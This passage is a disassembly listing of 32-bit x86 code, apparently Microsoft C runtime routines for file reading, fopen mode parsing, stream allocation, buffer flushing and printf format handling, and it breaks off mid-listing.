loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F1E4 nop call near ptr 26908FFh push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2710000h nop test eax, eax jnz short loc_41F285 call near ptr 26908FFh nop test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE 